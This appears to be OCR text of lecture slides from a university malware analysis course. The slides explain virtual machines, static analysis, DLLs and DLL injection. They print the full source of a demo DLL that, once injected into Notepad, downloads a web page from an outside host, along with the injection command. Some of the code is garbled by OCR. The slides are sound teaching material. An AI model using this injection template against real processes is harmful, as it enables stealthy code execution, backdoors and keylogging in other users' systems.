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Course Outline

= |Introduction

— Virtual Machine
— Static Analysis
* A “Hello World” Malware Example: DLL Injection (hack_dll.zip)
— Behavior
— Analysis
— Source code

= DLL Injection
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Virtual Machines

=\What is a virtual machine?

— Simply, a computer in your computer

— Really, a segregated virtual environment that emulates real
hardware

* There are different types/methods

) || Parallels

VirtualBox VMware Parallels
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https://www.google.com/search?newwindow=1&safe=off&q=VMware+Workstation&stick=H4sIAAAAAAAAAONgFuLSz9U3MDIvtKgoVwKzjZMqCtOytfic83Nz8_OCM1NSyxMriwEgJ__qKgAAAA&sa=X&sqi=2&ved=2ahUKEwj9q7rq4IXgAhWEk1kKHbyCBekQxA0wK3oECAgQBw
https://www.google.com/search?newwindow=1&safe=off&q=VMware+Workstation&stick=H4sIAAAAAAAAAONgFuLSz9U3MDIvtKgoVwKzjZMqCtOytfic83Nz8_OCM1NSyxMriwEgJ__qKgAAAA&sa=X&sqi=2&ved=2ahUKEwj9q7rq4IXgAhWEk1kKHbyCBekQxA0wK3oECAgQBw
https://www.google.com/search?newwindow=1&safe=off&q=VMware+Workstation&stick=H4sIAAAAAAAAAONgFuLSz9U3MDIvtKgoVwKzjZMqCtOytfic83Nz8_OCM1NSyxMriwEgJ__qKgAAAA&sa=X&sqi=2&ved=2ahUKEwj9q7rq4IXgAhWEk1kKHbyCBekQxA0wK3oECAgQBw

Virtual Machines

"\Why are we using a virtual machine? (for this
course)

— Safety, reliability, consistency, it's easy

— Keep the malware in a contained environment

— Snapshots
« Completely 100% revert the VM to an earlier state

* |f things go bad, no one cares
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Static Analysis

» Analyzing a sample without executing any code
» Safe
— Infer functionality

» Provides a lot of useful information to guide dynamic and advanced
analysis

= |_ots of tools involved

»= Can be an easy way to find signatures

— URLs, filenames, registry keys
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Let’s try our first “Malware”

* Download and run XP VM image

* Open command line terminal and go to C:\Work

= Open a Notepad

* Open DebugView

= Open Process Explorer and find the PID of Notepad

* [In command line, type
— InjectDll.exe <PID OF NOTEPAD> C:\work\myhack.dll
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C:sWork>*InjectDll.exe 3652 c:ixWorksmyhack.dll
InjectDll('c:“Worksmyhack.d1l1l"?» successt??

% DebugView on WQUAKEODA-5E327D {local) <]

File Edit Capture Options Computer Help

EHdd | } &- @ BB YT 9F | M

# Time Debug Print
1 0.00000000 [1720] <myhack.dll> Injection!!! —— CSC 497/583 —-- 3i Chen
2 1625.7480... [3652] <wyhack.dll> Injection!'!! -- CSC 497/533 -- 3i Chen

& Work E]@
";’

File Edit View Favorites Tools Help

@ Back ~ () ? / ) search Folders mv

Address |5 Ciwark v‘ Sa

j Make a new Folder

& Fublish this folder to the
‘ Web

{d Share this Folder

File and Folder Tasks A Elnjectml WA | myhack.di
e

index skrings
Chrome HTML Document Search For AMSI and Unicode ..
169 KB Sysinkernals yainkerna. ..

Other Places

age Local Disk ()
£} My Documents

| Shared Documents

new file
appears

»_e My Computer
\-3 My MNebwork Places

Details
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& Process Explorer - Sysinternals: www.sysinternals.com [QUAKEODA-5E32 7D\quakeOday] (Administrator)

8

File ©Options Wiew Process Find DLL Users Help
Process CPU  Private Bytes PGRIAG SEl FID' | Dezcription Company Mame
ﬁ Dbgview exe 1.082 K 1,960 K 1892 Debugiew Syzinternals
¥ procexp.exe 1867E K 14,844 K 1648 Sysinternals Process Explorer  Syzinternals - wiww. sysinter. .
= " chrome.exe 2.00 B7.300 K 47 600 K, 2452 Google Chrome Google Inc.
& chrome. exe 1,932 K 508 K. 2464 Google Chrome Google Inc.
¢ chrome. exe 1.00 45192 K 51,496 K 2848 Google Chrome Google Inc.
& chrome. exe 18,100 K 212K 2940 Google Chrome Google Inc.
= | OLLYDEG.EXE 9020 K 2,364 K 3224
:t loaddll.exe E16 K 4B K 3260
e
b denends exe Al A6 Dependen A arnoration
" Yrotepad.exe 2016 K E,SBE K J652 Maotepad Mlcrnsuft Corparatian
PID: 3652
M arne Dezcription Company Mame Path
kemel32.dl Windows MT BASE APl Client DLL  Microsaft Corporation C:AWIND DWW Shaystem32hkernel 32.dll
lozale. nls C:WwAMDOWS spstem32ilocale. nlz
[pk.dll Language Pack Microzoft Corparation C:WewAMDOWS \apstem32iplk. dil
mzacma2.dll icrosaft ACKM Audio Filker icrosaft Corporation C:AWwIMDOWS Seystem32imeacm 32, dil
mzaznl.dl A5M.1 Runtime APl Microzoft Corparation C:WwAMDOWS \epsterm32imzaznl.dll
MSCTF.dI MSCTF Server DLL Microzoft Corparation C:WwAMDOWS \apstem32WSCTF. A
MSCTFIME.IME Microsaft Test Frame Woark Servic...  Microsaft Corporation C:AWwIND DWW S Saystem32WMSCTFIME IME
mzvy1_0.dll Microzoft Authentication Package ... Microgsoft Corporation C:WwAMD WS hepstern32hmay1_0.dll
mgvert.dll Windows MT CRT DLL icrozoft Corporation C:AWwINDOWS Saystem32imevert. dll
ok dll Microzoft Windows Sackets 2 015 Microzaft Cormacation LA MDA S S susbern 3 rnswsnck dll
ﬁ:ﬁack.dﬂ C:\workhmyhack. dll
netapiae. di MebWinad AP DLL Microzoft Lorparabion C W INDOWS apstemazsnetapiae. di .
normaliz. dil Unicode Mormalization DLL Microzoft Corparation C:WwARMDOWSspstern32hnormaliz.dll In JeCted D LL
notepad. exe Maotepad Microzoft Corparation C:WwAMDOWS \spstem32inotepad. exe
ntdll. dll MT Layer DLL ticrozoft Corporation C: v IMD Ow'S spstem32hntdll. dll

CPU Usage: 3.00%

Commit Charge: 62.84% Processes: 30 Physical Usage: 89, 14%




Dynamic-link library (DLL)

* Dynamic-link library (or DLL) is Microsoft's implementation of the shared

library concept in the Microsoft Windows

A
Notepad.exe Process B

text

.data
.rsrc

kernel32.dll
user32.dll
gdi32.dll
shell32.dll
advapi32.dll
ntdlI32.dll
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https://en.wikipedia.org/wiki/Microsoft
https://en.wikipedia.org/wiki/Shared_library
https://en.wikipedia.org/wiki/Microsoft_Windows

Dynamic Linking



Drawbacks of Static Linking

Waste space

Program?2
: Hard to maintain

Program?2.obj

Lib.obj

Program1

Program1.obj Memory

Lib.obj \ Program2
Program2.obj
Lib.obj
Program1

\ Program1.obj
Lib.obj
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Dynamic Linking

Lib.dll
Program2 _ :
. Lib.obj
Program2.obj /
Program1
Program1.obj Memory
\ Program?2
Lib.dll Programz2.obj
Lib.obj
\ Program1
Program1.obj
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Dynamic Linking in Linux and Windows

ELF file .exe (PE)

.50 (Shared object file) .dll (Dynamic Linking
Library)

.a lib (static linking library)

.0 (intermediate file .0bj

between complication
and linking, object file)

Page = 13




DLL Injection

» DLL injection is method of injecting code to some other processe’s
address space and executing that piece of code on behalf of that
process.

» DLL injection provides a platform for manipulating the execution of a
running process.

— It's very commonly used for logging information while reverse engineering.

— It has gained bad name for itself since it's mostly used by malware for stealth
purposes:

Hiding malicious code into system process
— Winlogon.exe, services.exe, svchost.exe explorer.exe
Open backdoor port

Connect remote server

Keylogging...

— It's also frequently used within the game hacking world to code bots
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DLL Injection

€ Memory Viewer o || =
File Search View Debug Tools Kerneltools
r;‘ Minesweeper =1 L | < +3E21
Game Help Comment

W pre+1330 [FFFFFFFF]

W =

W 111 N

Wi 12321 1(12/1]2 11 XP.exe+108C] [7629D39F3]

E 1(1/42/1(1/1(1(1 1123432 | 17

ol 12@33 112 1/2 1233 1(32[1 [

12 13222 1(3[1[1] [1 1|2[2[3[3 1| ———
213311113 13/1[2[1]2]2% 13 p= Stack

Py 1233 2212112 2% 2113 L2222 [ize=1000 Physical Address=31DA:

ad j2 2i2(1]2/2 2j2/2[2 22|11 2(2[5/3|2 [B _0C 0D 0E OF 0123456789ABCDEF

g 1/1/4] (13 1(4[1[4[1] [1[22[2 1(2 (0 5E DO OO ::::

0 2243421 11111 15 19 00 oo o0 ::::::::ﬁ::::f:::

0 1323 001(12/2/1|1/1/2/1 (0 59 00 00 00 ... X Y.Z.Z.¥...

0 12334[4434[332&‘11114;‘ 0 E3 03 00 00 ... ... ...

cllialaldlafafaf2f2 /2 a(4[32/4[2 4(1[ 0 B8 B2 00 00 ..o o.op

ol 23443322 134331323154 [ fce 03 0000 & "

o] (1 21]2/1 112 333|3 1|22 20 EC 03 00 00 ... ...

0] |al2/2 411 123 221221212/2 [0 EC 03 00 00

0 0 EC 03 00 00

0100S50B0O BE 02 00 00 EC 03 00 00 CO 02 00O OO EC 03 00 0O oo codl 6ae oo .
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DLL Injection

| . " Aimbot  Triggerbot Mi
: < y E .
~ Y Aimbot < f
e Aimbot Mode g Full
Aim Bone < Chest only
Auto Fire < Off
Fire Delay < ;
Auto Zoom

Zoom Delay
(31] 33] [3|8] [36] < Alm Angle
@ E 3 Aim Priority
Aim on Friendly

Aim on Enemy




DLL Injection

Notepad.exe Process

text
DLL Injection .data
myh ac k . d | | .\\\\\\\\\\\\\\\\\\\\g\)» rsrc

myhack.dl|
kernel32.dll

user32.dll
gdi32.dll
shell32.dll
advapi32.dll
ntdll32.dll
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DLL Injection
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DLL Injection

Step 1
Process B Attach Process A
—
Step 2 Process A
Allocate
Process B Memory
—_—
Step 3 Process A
Copy DLL
Process B >
DLL
Step 4
Process A
Process B Execute
—p
DLL

~

Process A

New Thread




DiIMain()

DIIMain entry point

05/30/2018 + 7 minutes to read

An optional entry point into a dynamic-link library (DLL). When the system starts or terminates
a process or thread, it calls the entry-point function for each loaded DLL using the first thread
of the process. The system also calls the entry-point function for a DLL when it is loaded or
unloaded using the LoadLibrary and Freelibrary functions.

Notepad.exe Process

execute DIIMain()
DLL Injection in myhack.dll

myhackd Il SRS myhack_ dll m\\\\\\\\\\\\\\\\\\\\

kernel32.dll

user32.dll
gdi32.dll
shell32.dlI
advapi3d2.dll
ntdll32.dll
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Source Code of myhack.dll

ES o myhack.cpp \ No Selection

#include "windows.h"
#include "tchar.h"

#pragma comment(lib, "urlmon.lib")

#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")

HMODULE g_hMod = NULL;

DWORD WINAPI ThreadProc(LPVOID 1Param)

{
TCHAR szPath[_MAX_PATH] = {0,};
if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
return FALSE;
TCHAR *p = _tcsrchr( szPath, '\\' );
if( Ip )
return FALSE;
_tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);
URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);
return 0;
}

BOOL WINAPI D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
HANDLE hThread = NULL;

g_hMod = (HMODULE)hinstDLL;

switch( fdwReason )

{

case DLL_PROCESS_ATTACH :
OutputDebugString(L"<myhack.dll> Injection!!! —— CSC 497/583 —— Dr. Chen");
hThread = CreateThread(NULL, ©, ThreadProc, NULL, ©, NULL);
CloseHandle(hThread);
break;
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return TRUE;




Source Code of myhack.dll

fdwReason [in]

The reason code that indicates why the DLL entry-point function is being called. This
parameter can be one of the following values.

Value Meaning

The DLL is being loaded into the virtual address space of the

DLL_PROCESS_ATTACH current process as a result of the process starting up or as a result

1 of a call to LoadLibrary. DLLs can use this opportunity to initialize

any instance data or to use the TlsAlloc function to allocate a
thread local storage (TLS) index.
The IpReserved parameter indicates whether the DLL is being
loaded statically or dynamically.

BOOL WINAPI D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
HANDLE hThread = NULL;

g_hMod = (HMODULE)hinstDLL;

switch( fdwReason )

{

case DLL_PROCESS_ATTACH :
OutputDebugString(L"<myhack.dll> Injection!!! —— CSC 497/583 —— Dr. Chen");
hThread = CreateThread(NULL, ©, ThreadProc, NULL, ©, NULL);
CloseHandle(hThread);
break;

}
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return TRUE;




Source Code of myhack.dll

=2 & myhack.cpp ) No Selection

#include "windows.h"
#include "tchar.h"

#pragma comment(lib, "urlmon.lib")

#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")

HMODULE g_hMod = NULL;

DWORD WINAPI ThreadProc(LPVOID 1Param)

{
TCHAR szPath[_MAX_PATH] = {0,};
if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
return FALSE;
TCHAR *p = _tcsrchr( szPath, '"\\' );
if( Ip )
return FALSE;
_tcscpy_s(p+l, _MAX_PATH, DEF_FILE_NAME);
URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);
return 0;
}

BOOL WINAPI D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

HANDLE hThread = NULL;

g_hMod = (HMODULE)hinstDLL;

switch( fdwReason )

{

case DLL_PROCESS_ATTACH :
OutputDebugString(L"<myhack.dll> Injection!!! —— CSC 497/583 —— Dr. Chen");
hThread = CreateThread(NULL, ©, ThreadProc, NULL, ©, NULL);
CloseHandle(hThread);
break;

}
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Static analysis (myhack.dll)

* Finding Strings ["]

Page =

A string in a program is a sequence of characters such as “the.”

A program contains strings if it prints a message, connects to a URL, or copies
a file to a specific location.

Searching through the strings can be a simple way to get hints about the
functionality of a program.

* For example, if the program accesses a URL, then you will see the URL
accessed stored as a string in the program.

You can use the Strings program to search an executable for strings, which are
typically stored in either ASCII or Unicode format.
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